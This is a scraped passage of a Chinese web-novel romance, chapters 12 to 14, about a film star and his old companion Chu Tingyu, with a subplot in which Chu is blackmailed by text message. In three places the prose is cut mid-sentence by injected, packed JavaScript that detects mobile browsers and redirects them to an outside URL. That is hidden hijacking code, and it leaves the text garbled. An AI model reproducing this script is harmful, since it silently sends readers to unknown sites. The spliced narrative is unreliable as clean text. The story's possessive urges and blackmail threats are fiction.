元华承认褚亭玉的样貌气度确实顶尖,绝非寻常环境能养出。但以周君珩的身份地位,见过的绝色美人何其多?单凭外貌就能让他如此转变?这理由实在牵强。 看惯了周君珩对旁人那副拒人千里的冷脸,再亲眼目睹他对褚亭玉这份近乎无底线的纵容,反差之大,让人不得不暗自心惊。 他忍不住在心里感叹,这世上,果真是一物降一物。 周君珩吃得不算慢,动作间带着刻进骨子里的优雅,一碗粥很快见了底。 褚亭玉等他放下勺子,说道:“吃完了?收拾一下,去发布会。” “我不去。”周君珩立刻抬起头,声音冷硬,一点商量的余地都没有。 又要打发他走?这人怎么就能这么狠心? 可心里憋着的火气对着褚亭玉,他发不出来,只能硬生生压回去,堵得胸口发闷。 无处发泄的怨怼急需一个出口,周君珩锐利的目光倏地刺向对面的元华,他认定是元华在背后撺掇,褚亭玉才会想着支开自己。 他现在满脑子就一个念头:待在褚亭玉身边,一步也不想离开。 元华刚才因为褚亭玉开口而冒出来的一点喜意,瞬间被这冰冷的眼神浇灭,头皮一麻,后背冷汗唰地就下来了。他赶紧摆手,恨不得指天发誓:“天地良心!祖宗,我可一个字都没提过!” 他急急地辩解着,目光求救似的看向褚亭玉。 “这是你的工作,”褚亭玉是真的有些不解,“为什么不去?”他太清楚这种顶级代言活动的重要性,背景再硬也经不起这么折腾。 周君珩什么时候变得这样不分轻重了? 褚亭玉眼底的疑惑和不赞同,像根针一样扎进周君珩心口最软的地方,泛起一阵刺刺的疼。 又是这样。好像他这点卑微的渴求,永远都只是无谓的纠缠和无理取闹。 从重逢到现在,褚亭玉对他消失的七年只字不提。这种彻底的漠视,比任何激烈的争吵都更让他窒息。 压抑的恨意与那股想要把人禁锢在自己视线所及之处的阴暗欲望,再次疯狂撕扯着他的理智。把他关起来,关到一个只有我能找到的地方。让他眼里、心里,都只能有我! “你也说了。”周君珩仓促垂下眼睑,浓密的睫毛遮挡住眼底翻腾的骇人情绪,“这是我的工作。” 言下之意,去不去,他自己做主。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871357|176218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚亭玉微微一怔。一丝不快夹杂着连他自己都未曾深究的微涩感悄然掠过心头。记忆中的少年,极少这样直接而强硬地拒绝他。 但转念一想,不是人人都需要像自己当年那样为了生存汲汲营营。周君珩生来就在云端,自然拥有挥霍一切的资本。自己又何必多事? “确实。”褚亭玉的神色淡了下去,意兴阑珊地起身,“你的事,你自便。” 本来想着有他在场,那无聊的场合或许还能解解闷。现在看来,倒是自己多虑了。 “那我只好自己去了。”他语气平淡地陈述道。 “什么意思?”周君珩霍然起身,抓住了褚亭玉要离开的手腕。 褚亭玉被他突然一拽,脚步停了下来。动作间,本就宽松的睡衣领口被扯得歪斜,露出一小片白皙的锁骨和圆润的肩头。 褚亭玉眉头蹙得更紧,心底那点不快被这唐突的肢体接触放大。怎么越活越回去了?动不动就上手。 瞥见那片晃眼的肌肤,周君珩几乎是本能地侧身,用身体严严实实挡住了元华可能窥探的视线,伸手想去整理歪斜的领口。指尖快碰到时,却又停住,悬在半空。 “没规矩。”褚亭玉淡声轻斥,语气里没什么怒意,更像一种习惯性的训诫。 见他虽蹙着眉,神色不虞,但身体没有躲闪的意思,周君珩悬着的心才落回一点实处。他屏着呼吸,几近虔诚地将那歪斜的领口一点点拉正,指尖不可避免地擦过那片温润的肌肤。 久违的刺麻颤栗沿着神经末梢窜起,褚亭玉喉结微动,强行压下这不合时宜的反应,面上依旧沉静如水。 周君珩的手没有立刻收回,指尖贪恋那温热的触感,无意识地在那处皮肤上流连了一下。 褚亭玉眼睫低垂,掩去眸底一闪而过的暗流,没有动,也没有再斥责,只是周身的气息似乎愈发沉静内敛。 这微妙的几秒,空气逐渐变得粘稠滞涩。 “林乔伊叫我去。”褚亭玉终于开口解释。 林乔伊? 周君珩脑中迅速过了一遍这个名字,想起是褚亭玉那个名义上的姐姐。 “哎呀!君珩,这不赶巧了嘛!”元华不愧是圈里摸爬打滚多年的人精,也不管两人之间奇奇怪怪的气氛,一看峰回路转,立刻抓住时机,“褚先生也去,咱们正好顺路捎他一程。这活动你本来就是压轴的主心骨,不到场可怎么行?粉丝们也盼着,多少人指着你镇场子......” 然而,褚亭玉和周君珩两人对他这番激情演说置若罔闻,跟没听见一样。 周君珩的脸色几经变幻,尴尬中带着明显的别扭,他想反悔,可前面那句斩钉截铁的“不去”言犹在耳。 他能感受到褚亭玉平静目光里无声的鞭笞。 褚亭玉不催,也不动。他只是在等。 他偏爱看这只桀骜的鹰隼如何收敛利爪,低下高傲的头颅,心甘情愿地将最柔软的腹羽袒露给他,主动做出妥协的姿态。这种由对方亲手完成的驯服过程,远胜任何强制的指令,更能满足他心底那点隐秘的支配欲。 周君珩太清楚褚亭玉要什么了。为一个男人俯首,这本该是他最鄙夷的懦弱。可偏偏,那人是褚亭玉。 他很轻地叹了一声,食指带着点试探,勾住褚亭玉垂在身侧微凉的小指,先是轻轻晃了晃,又不甘心地捏了几下,才低声道:“我去。” 褚亭玉对这个结果并不意外,对他这点小猫挠痒似的动作也浑不在意,微微颔首。 被彻底晾在一边的元华:“......”行吧,目的达到了就行。 13. 第 13 章 元华很识趣地站起身,朝玄关方向指了指:“行,那君珩,褚先生,你们先收拾一下,我去外头等。” 门一合上,元华脸上的笑容就垮了下来,长长吁出一口气,仿佛卸下千斤重担。他掏出手机,迅速拨通助理的电话,恢复了经纪人的干练: “喂,是我。让他们准备好,一会到。所有环节再核对一遍,尤其是媒体提问的预案......对,他状态......还行,就按最高规格来,别出岔子。” 他一边低声快速交代,一边脚步不停地踱向电梯厅。 刚走到入口,就看见袁刚像尊门神,背靠着冰冷的金属墙,抱着臂站在那里。指间夹着一支烟,没点燃,只是习惯性地在指缝里捻转着。 元华掐了电话,走过去,站在袁刚面前。 这两天积压的疑惑,加上那天餐厅里袁刚异常冷静的阻拦,终于找到了一个合适的开口时机。他搓了搓手,斟酌着措辞。 “老袁,”元华的声音压得比刚才打电话时更低,“那天在餐厅......你好像一点也不意外?” 袁刚捻烟的手指顿住,没说话。 元华舔了舔有些发干的嘴唇,往前凑近半步:“你跟周少年头也不短了,是不是......认识那位褚先生?” 他问的小心,刻意用了“周少”而不是“周君珩”,弦外之音不言而喻。他这是在摸底,想弄清楚周君珩和褚亭玉的关系,究竟是入圈前的旧识,还是后来的交集。 袁刚沉默了几秒,才“嗯”了一声,算是承认。 元华眼睛一亮,心里那点猜测似乎落了实,立刻追问:“那他们以前......?”他话没说完,但意思再清楚不过。 以前什么关系?能叫周君珩失态到那种地步? 不过这回袁刚彻底没反应了。 元华懂了,再问下去也是徒劳。袁刚这张嘴的严实程度,他领教过多次。 失望归失望,分寸还在。他无奈地扯了扯嘴角,拍拍袁刚的肩膀:“行,明白了。你守着吧,我去车上等。” 车子抵达酒店后门的专属通道。元华一行人动作迅捷,穿过专用电梯,直达顶层套房。 套房的客厅足够宽敞,如今被高效运转的专业团队塞得满满当当。衣架上挂满了备选礼服,化妆箱敞着口,造型工具在长桌铺开一片,几个助理正拿着平板快速确认流程细节。空气里有淡淡的发胶和香水味,节奏紧张却秩序井然,没有一丝忙乱的嘈杂。 元华刷开门禁,侧身让周君珩和褚亭玉先进,自己随后跟入。门开的瞬间,所有人的目光齐刷刷聚焦过来。 一个助理立刻迎上前:“元哥,造型师和化妆师都候着了。” “君珩,这边。”元华指向客厅中央那面宽大的化妆镜,几个核心人员默契地围拢过来。 周君珩的脚步却没立刻动。 他像是完全没看到那些迎上来的人,也没理会元华的话头,而是先侧过身。 褚亭玉就这样毫无预兆地暴露在所有人的视野里。空气中静了静,十几道目光带着八卦和惊艳,落在这个陌生又漂亮得扎眼的男人身上。 一旁的化妆师疑惑地看向元华,用眼神询问。元华只能无奈地摇摇头。 “亭玉,”周君珩一开口,就引得几个正在忙碌的工作人员都不自觉地放缓了动作,余光偷偷瞟过来。 他完全无视那些视线,只看着褚亭玉,“这边有点乱,也吵。你......” 他环视了一下略显拥挤的空间,视线最终定格在落地窗边一张相对独立的单人沙发和矮几上。他几步跨过去,不由分说地将矮几上散落的几本杂志和造型图册叠好,挪到旁边的移动书架下层。 他弯腰时,肩背的线条绷得笔直,很吸睛。 清空矮几,他侧身让开位置,面向褚亭玉,“这边视野好,也清静些。坐这里,可以吗?” 褚亭玉没说什么,依言走过去坐下。沙发位置极佳,既能避开人群中心,又能将室内大半动态收入眼底。 周君珩没有立刻走开。他站在沙发边,垂眼看着褚亭玉。房间里其他人的动作仿佛都按了慢放键,连呼吸都放轻了,竖着耳朵听。 “妆发造型,加上对流程。”他语速刻意放慢,“得耗些时间。”说完这句,他自然地半蹲下来,视线与褚亭玉齐平,这才继续道,“要是觉得闷了,或者需要什么,”他侧首示意旁边一位看起来沉稳干练的女助理,“跟小陈讲。” 被点名的小陈正处于震惊的余波中,闻言回过神,忙不迭地点头。 周君珩重新转向褚亭玉,两人的视线在空中短暂地缠了一下。他想了想,又加了一句,像是不经意的强调,“我这边......很快就好。” 这“很快”二字,与其说是告知时间,不如说是一种隐晦的安抚,生怕对方觉得等待太久而离开。 偌大的空间里,安静得有些诡异。 褚亭玉见他没有其他话,这才动了。掌心抬起,落在他头顶,很轻地揉了两下。周君珩整个人肉眼可见地僵住,睫毛猛地一颤,仓促垂下视线,身体保持着半蹲的姿势。 褚亭玉垂眸,身前人浓密得惊人的眼睫低低覆着,耳廓缓缓晕开一片绯红,喉结克制地上下滑动。掌下传来细微的颤抖,还有对方陡然变得有些絮乱的呼吸,都清晰可辨。 那只手顺着修长的脖颈滑至耳际,温热的指腹停驻在微肉的耳垂上,颇有兴味地把玩揉捏片刻,才像是尽兴般点了头:“知道了,你先去忙。”说完,手便收了回去,仿佛方才的狎昵举动只是幻觉。 周君珩定了定神,努力稳住胸腔里那匹脱缰野马似的心跳。 客厅里恢复了之前的忙碌节奏,但气氛却微妙地变了。 目睹了刚才那一幕的工作人员,无论是助理还是造型师,手上的活更麻利了。没人乱瞟,也没人交头接耳。巨大的震惊和能把人烧穿的好奇心,被强大的职业本能死死摁住,表面只剩下满室心照不宣的忙碌。 这圈子混久了,都知道什么时候该装瞎作哑。更何况是周氏太子爷的私事,心里不管翻腾着什么惊涛骇浪,出了这扇门,都得烂在肚子里,嚼碎了咽下去。 褚亭玉靠在沙发里,姿态放松,目光带着几分新奇,越过人群,落在不远处的周君珩身上。 化妆镜前明亮的灯光打在周君珩俊美无俦的脸上。他闭着眼,任由化妆师拿着粉扑子和刷子在他脸上轻扫。 褚亭玉第一次见周君珩被这样摆弄。 看着粉底一点点抹平他眼下淡淡的青影,眉笔勾画出更锋利的眉形,修容刷在他颧骨和下颚处晕染出明暗......整个过程安静而高效。 周君珩闭着眼,长长的睫毛垂着,面容沉静,显得格外配合,也......有点陌生。 周君珩虽然闭着眼,却能感觉到那道落在自己脸上的目光。那视线像无形的丝线,细细密密缠绕周身,让他浑身肌肉都下意识地处于一种微妙的戒备状态,连呼吸都刻意放得又缓又长,耳根那点热度又死灰复燃。 他忍不住微微动了动眼皮,想睁开看看,又被化妆师轻声提醒:“周老师,别动,眼线。” 他只能僵着不动,心里却像被小猫爪子不轻不重地挠着,又痒又燥。才过了不到十分钟,化妆师正在给他描画唇形,周君珩趁着对方换工具的间隙,眼皮倏地一抬。 他没有看镜子里的自己,目光直接穿透镜面的反射,落在沙发上的褚亭玉身上。语气听着像随口闲聊:“是不是挺无聊?” 褚亭玉的视线还流连于他被唇刷勾画出的唇线上,闻言才微一偏转,与镜中周君珩的目光撞个正着。他幅度极小地摇了摇头。 周君珩抿了抿刚涂上润色膏的嘴唇,那点湿滑的触感让他更不自在。化妆师拿起定妆喷雾,他又忍不住开口,声音比刚才听起来急了些:“小陈就在旁边。想喝什么,让她去拿。”他仔细分辨褚亭玉的神色,确认对方是否读懂了自己话语间那份笨拙的挽留。 直到看到褚亭玉点头,他才像是得到了某种保证,重新闭上了眼。 褚亭玉不再看他,从口袋里摸出手机。屏幕亮起,指尖在屏幕上滑动了几下。片刻后,他点开一个社交平台的图标,在搜索框里,输入了“周君珩”三个字。 页面跳出一个认证账号。头像是张夜色下的海边风景照,有种莫名的熟悉感,褚亭玉点开放大。 像素很模糊,依稀能看到照片边缘的岸边礁石上,坐着一个几乎被夜色吞没的人影轮廓。 他指尖轻点,照片缩小,人影消失了。 点进主页,内容整齐得像一份精心编排的官方日程表:最新电影宣传、品牌活动通告、获奖感言转发、公益项目推广...... 配图无一例外是精修大片,构图光影无可挑剔。文案更是标准得像流水线产品,严谨,冰冷,没半点个人情绪。 最新一条,是昨天发布的品牌活动预热。 转发:100+万。 评论:56.7万。 点赞:278万。 褚亭玉眉梢挑了一下。这数据,庞大得有些失真。他点开评论区。 热评第一,是整齐划一的控评文案,带着一堆心形和星星符号:“ #周君珩 XX品牌全球代言人# 哥哥神颜暴击!期待今晚的闪耀时刻!爱心[爱心]”。点赞高达几十万。 往下翻: “啊啊啊啊啊啊啊啊老公鲨我!这侧颜绝了!流泪” “电影什么时候上?等不及了!周影帝冲鸭!” “这套造型封神了!工作室加鸡腿!” “呜呜呜又是为哥哥美貌流泪的一天![大哭]” “路人,但不得不说,这脸是真能打。[大拇指]” 偶尔夹杂着几条不同的声音:“这文案也太水了吧,团队能不能走点心?”但很快就被淹没在粉丝“黑子滚粗!”、“守护最好的哥哥!”的刷屏里。 千篇一律的赞美,格式化的尖叫,偶尔的争议也迅速被淹没。翻了几页,内容大同小异。 褚亭玉指尖滑动的速度越来越快。 没什么意思。 他指尖悬在屏幕上方,顿了几秒,最终还是失去了继续翻阅的兴趣。手指在屏幕上向上一划,退出了这个光鲜亮丽却毫无生气的账号页面。 手机随意地搁在膝上,他的目光重新投向化妆镜的方向。那边,周君珩的妆发已接近尾声,造型师正弯腰为他调整西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871358|176218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装领口和袖扣的细节。 周君珩最后理了理袖口,确保没什么问题。他转身,走向落地窗的单人沙发。 褚亭玉的目光随着他移动。 裁剪精良的深色西装衬得他肩宽腿长,比例惊人。脸上的妆容极薄却精妙,将他本就得天独厚的五官优势衬托得愈发出众。 眉骨深刻,鼻梁挺直,下颌线棱角分明。整个人像一块被打磨过的玉石,清隽而矜贵。 七年前眉宇间那点未褪尽的少年意气,已被时光淬炼成属于成熟男性的沉稳锋芒。光华尽敛,却自有一股迫人的威仪。 褚亭玉看着他一步步走近,眼神里掠过一丝极淡的亮光,快得难以捕捉,随即又归于平静。 周君珩停在他面前,距离不远不近。盛装之下面对褚亭玉的打量,他下意识地垂了下眼睑,手指无意识地捻了捻西裤侧缝。 “弄好了。”他声音比平时略低,“时间差不多,我得下去了。”他顿了顿,目光落回褚亭玉脸上,带着点期待,“你、你要不要跟我一起?” 他私心恨不能时时刻刻把人放在眼皮底下,可脑中闪过即将面对的浮夸笑语,虚与委蛇的客套,只怕褚亭玉觉得烦闷难熬。 褚亭玉几乎没怎么考虑,摇头:“不了,吵。” 答案在意料之中。周君珩眼底那点微弱的希冀暗了下去,但并未流露出明显的落寞,只是点了点头:“嗯。那你在这边歇着。”他指了指旁边安静候着的女生略一示意,“小陈留在这里,有事就叫她。” 小陈立刻恭敬应下。 闪光灯疯狂闪烁、话筒林立、公式化的寒暄和流程推进......周君珩熟练地应对着一切,笑容得体,言辞滴水不漏,完美像个设定好的程序。 媒体提问环节结束,晚宴开始前有一段休息换装的时间。周君珩婉拒了所有的寒暄,带着一身室外微燥的暮气回到顶层的套房客厅。 沙发是空的。 周君珩的脚步倏地顿住。他脸上的表情没什么变化,只是那点倦意瞬间被一种沉沉的冷意覆盖。 客厅里只有小陈一人。 他目光转向小陈,声音有些发沉:“他走了?” 小陈被他骤然冷下来的气场慑得心头一凛,赶紧摆手解释:“没、没有,周哥!褚先生用过餐后,看了会电影,可能是看累,在里面休息。”她指了指主卧的方向。 周君珩浑身那股紧绷欲裂的戾气猛地一滞。他像是没听清,或者说,这个答案完全超出了他刚才最坏的预期。他愣在原地,脸上的阴沉还没来得及完全褪去,混合着反应不及的茫然,显得有些滑稽。 “休息?”他重复了一遍。 “是的,”小陈看他脸色稍缓,松了口气,补充道,“褚先生看了挺久的电影,后来可能觉得累了,就进去休息了。” 周君珩似乎这才找回自己的声音,追问道:“他看了什么?” “就是......您最早拍的那部......”小陈如实报出一个电影名字。 周君珩明显一愣,眼神里有什么东西晃了晃,像是被猝不及防地戳中了某个隐秘的角落。那是他初出茅庐,演技尚且青涩稚嫩的处女作。 他沉默了片刻,喉结不明显地滑动了一下,才又问,语气更轻了,带着点自己都没察觉的期待:“他看的时候......说什么了吗?” “没有,”小陈摇头,回忆着,“褚先生看得很安静,没有快进,也没点评,就......看完了。” 周君珩听完,那点隐秘地期待落了空。他“嗯”了一声,接着问:“还看了别的吗?” “有的,”小陈观察着他的神色,立刻打起精神,“后来还点开了几个您的访谈视频看,就是......近几年的那些。” “看了大概一个多小时吧。”她尽量详细描述,“看完访谈,褚先生就去休息了。” 周君珩听着,眼底那点失落被一丝几乎看不见的微光取代。他没再追问细节,只问:“什么时候休息的?” “一个多小时前。” “知道了,辛苦了,你去休息吧。”周君珩打发走小陈。 套房彻底安静了下来。 周君珩在原地站了几秒,才放轻脚步,走到卧室门前,轻轻拧开门把手。 室内一片昏暗,厚重的窗帘滤去了傍晚最后的天光,朦胧的光线勉强能看出,宽大的床上,被子里隆起一个安静的弧度。 周君珩的心,在看清那个身影的瞬间,被一种饱胀的暖意填满。他悄无声息地走进去,反手带上门。 他在床边停下,适应着黑暗。床上的人呼吸均匀悠长,显然睡得很沉。他慢慢俯下身,双手撑在柔软的羽绒被上,陷落在褚亭玉脑袋两侧的枕头里。 他就这样静静地看着。视线贪婪地描摹过对方闭合的眼睑、挺直的鼻梁、微微抿着的唇线。心底翻涌的喧嚣、不安、疲惫,在这一刻奇异地被抚平,只剩下近乎虔诚的满足和宁静。 原来只是在这里睡着。 原来真的在等他回来。 一种近乎酸楚的幸福攫住了他。他维持着这个姿势,连呼吸都放得很轻,仿佛时间在此刻静止。 如果能一直这样看着,就好了。 14. 第 14 章 周五,体育课。 上午的太阳已经有些晒人。操场上,两个班的学生刚跑完两圈,队伍稀稀拉拉地散开。 褚亭玉喘得有点急,喉咙里像塞了把干沙子,火辣辣地疼。 这身体底子是真差。他皱着眉,慢慢走到跑道旁边树荫下的台阶,扶着膝盖缓了半天,等呼吸平复了些才坐下。 刚坐稳,眼前就晃过一瓶矿泉水,瓶身还挂着亮晶晶的水珠。他抬眼,周君珩站在跟前,一手插在兜里,另一只手拿着两瓶水,其中一瓶正递向他。 “给。”周君珩的目光在他微红的脸上和明显起伏的胸口停了停,语气挺平常,“原来以前我们体育课也一块上过?居然没半点印象。” 褚亭玉没客气,伸手接了。冰凉的瓶身激得手心一缩,那股子燥热好歹压下去一点。他拧开盖子,仰头灌了好几口,微凉的水滑过灼痛的喉咙,舒服得他差点哼出声。 用手背胡乱蹭掉嘴角的水渍,他没接周君珩关于“以前”的话茬。 周君珩也没指望他答,很自然地在褚亭玉旁边隔了一拳的距离坐下。自己那瓶水没动,就捏在手里,眼睛瞟着操场上踢球的人群,像是随口闲聊。 “查过了。”他开口,视线没转回来,“那个IP地址,西街后巷里,叫‘龙翼’的一个小网吧。”他顿了顿,“那地方开机不用身份证。摄像头装是装了,但是个摆设,老板说从来没开过。” 线索到这里,算是彻底断了。 褚亭玉“嗯”了一声,表示听到了。他本来对这事也不在意,自然谈不上失望。拧上瓶盖,水就搁在脚边的水泥地上。 周君珩侧过头看他。褚亭玉那反应,太平淡了,事不关己似的,倒显得他那点不甘心有点多余,好像就他一个人在这瞎较劲。 周君珩刚想再说点什么,就听见一声手机震动的闷响,嗡嗡的。 褚亭玉动作顿了一下,从校服裤带里摸出个老款手机。显示一条新短信,发件人是一串没名没姓的数字。 周君珩瞥见那手机,下意识挑眉,带着点调侃:“行啊你,胆子够肥,学校也敢揣着?”说完,挺自觉地移开眼。 “嗯嗯,人赃俱获。”褚亭玉按开收件箱,头都没抬,声音淡淡的,“好学生,你可以直接逮捕我。” 周君珩被他这罕见的冷幽默弄得微微一怔,嘴角不受控制地往上弯了一下,但很快注意到褚亭玉盯着手机屏幕的时间有点长。 “怎么了?”周君珩又把脸转回来。 “没什么。”褚亭玉应着,拇指在按键上按了几下,像是看完了,“就是突然觉得,你这品学兼优的金字招牌,招的麻烦也挺实在的。” 这话没头没脑的,砸得周君珩又是一愣,完全没跟上思路,清隽的脸上写满了真实的困惑:“......什么麻烦?” 褚亭玉看着他难得一见的懵样,心里的烦躁冲淡了一些。懒得解释,他直接把手机屏幕转向周君珩:“喏,自己看。” 周君珩接过去,屏幕还停留在短信界面。他低头一扫,几条短信连着,措辞一条比一条激烈刺眼: 昨天那条: 【褚亭玉,别给脸不要脸!你以为删了帖子,攀上周君珩就万事大吉了?老子手里还有你在会所穿裙子的骚样,不想被学校开除就乖乖听话!】 最新一条,显示刚收到: 【就在这周末,穿上那你那身骚裙子,把周君珩约出来。具体时间等我信。敢耍花样,老子立马把照片匿名寄给教务处。也不知道你那老不死的姥姥受不受得住这刺激?想想清楚,听话点,我还能给你留点脸。周君珩?呵,平时装得人模狗样,背地里却好你这口。这种道貌岸然的伪君子,就该让他身败名裂!】 字里行间充满了怨毒、威胁,还有对周君珩近乎病态的嫉恨,几乎要溢出来。 周君珩的脸色瞬间沉了下来,他飞快扫完,看向褚亭玉:“这是谁?骚扰你多久了?” “有几天了,不知道哪路神仙。”褚亭玉拿回手机,指尖在关机键上一按,屏幕黑了。 他一开始懒得理,直到两天前,这家伙不知道从哪摸到了原主姥姥的住址,把几张模糊却能辨认出是褚亭玉在会所工作的照片塞进门缝。 老人这两天看他的眼神都变了,忧心忡忡,欲言又止,反复问他是不是缺钱,出门前还硬往他手里塞几张皱巴巴的票子,让他千万别去那种地方,要安心读书。 看着老人眼里浓的化不开担忧和小心翼翼不敢多问的惶恐,褚亭玉才真正动了火气。他直接拨了那个号码过去,对方秒挂,再打就是关机。 这反而坐实了他的猜测。对方是他认识的人,而且就在身边。 现在,眼见周末迫近,他这边毫无反应,对方显然是急了。 “报警?”周君珩提议。 “不急。”褚亭玉把手机塞回裤兜,半开玩笑道,“劝你离我远点,这才多久,就摊上事了。” 听他这么说,周君珩心中不满,但他还是说:“我帮你。” 意外的是,褚亭玉没一口拒绝,但也没全盘接受。 “行。”他站起身,拍了拍裤子上的灰尘,阳光透过树叶缝隙,在他脸上落下晃动的光斑,“不过,先按他说的,我约你。地点我来问,你别管。” 周君珩还想说什么,但褚亭玉眼神里的坚持让他把话咽了回去,只能退一步:“......好。” 放学的时候,那个号码的短信又来了。褚亭玉盯着屏幕,冷着脸敲字: 【好,我答应你。但地点必须我挑,人多眼杂的地方我做不到。】 对方显然对他刻意强调的“人多眼杂”嗤之以鼻,或者说,警惕性极高: 【少废话!地点我定,到时候按我说的路线走就行。记住,穿上裙子,别一个人来,周君珩必须到场!】 真欠。褚亭玉挑了下眉,不是很在意,接着回: 【知道了。周君珩那边我会想办法,但别指望他随叫随到。】 晚饭桌上,老人又问起学校的事。褚亭玉含糊了两句,没糊弄过去,干脆闭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871359|176218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴。 洗漱完躺上床,手机震动了一下。褚亭玉以为是那阴魂不散的玩意儿,懒得理,翻了个身。 没过几秒,又震了一下。 没完了是吧?他长臂一捞,把手机抓过来。 发短信的也是一串数字,但这是个新号码。 今天体育课快散的时候,周君珩问他要了联系方式。 【睡了吗?】 【那人又说什么没有?】 他拇指按着硬邦邦的按键,挨个干巴巴地回:【还没睡。没说。】 几乎是立刻,手机又震了:【不然还是我跟你一起去吧。】 褚亭玉回:【你在场,他不一定现身。】 这是实话,对方明显忌惮周君珩,估计就想拍两张两人的同框照片,借褚亭玉这诱饵,来搞臭周君珩的名声。 消息发出去,那边陷入了长久的沉默。手机屏幕的光暗了下去,房间里只剩下窗外隐约的虫鸣。褚亭玉把手机扔回枕边,闭上眼,脑子里却忍不住转:接二连三地被拒绝,不高兴了? 就在他以为对方不会再回,准备翻个身强迫自己入睡时,枕头底下传来一声极轻微的震动。 他又摸出手机。 看清那行字时,褚亭玉的手指顿住了。 【真的要穿裙子吗?】 书桌前,握着手机的周君珩,心跳没来由地快了两拍。这条消息刚发出去,他立刻就后悔了。 他有点烦躁地把手机丢在书桌上,屏幕朝下。但很快,另一种更强烈的情绪猛地窜上来。 是对那个躲在暗处威胁褚亭玉的混蛋的怒火,也是为褚亭玉不得不承受这种屈辱的憋屈。 褚亭玉穿女装......周君珩脑子里不受控制地闪过一些模糊的画面,随即又被强烈的道德感和愤怒冲得七零八落。 他觉得自己这心情变得太快,简直莫名其妙,又酸又涩还拱着火气,搅得他坐立难安。 他盯着毫无动静的手机,感觉时间被拉得很长。既怕褚亭玉觉得被冒犯而生气,心底又隐隐盼着点什么回应。 这种拧巴劲,他自己都觉得陌生。 终于,手机轻轻一震。周君珩几乎是瞬间抓了起来。 屏幕上只有四个字:【明天再说。】 这模凌两可的回答......周君珩猜不透褚亭玉现在什么心情。他不敢再追问,立刻敲下回复: 【好。有事,随时找我。】 发送成功。他盯着手机,等了一会,屏幕再次暗下去,房间里只剩下他自己的呼吸声。 周君珩向后靠进椅背,心里那点说不清道不明的空落落,一点点弥漫开。 又过了不知多久,窗外的夜色更深了。他目光从摊开的书本上移开,拿起手机,手指在键盘上徘徊了片刻,最终还是带着点试探的意味,发了过去。 【睡觉了,晚安。】 直到周君珩洗漱完毕,躺进被窝,把手机放在枕边。困意像潮水一样漫上来,意识渐渐模糊,枕边的手机也始终没有动静。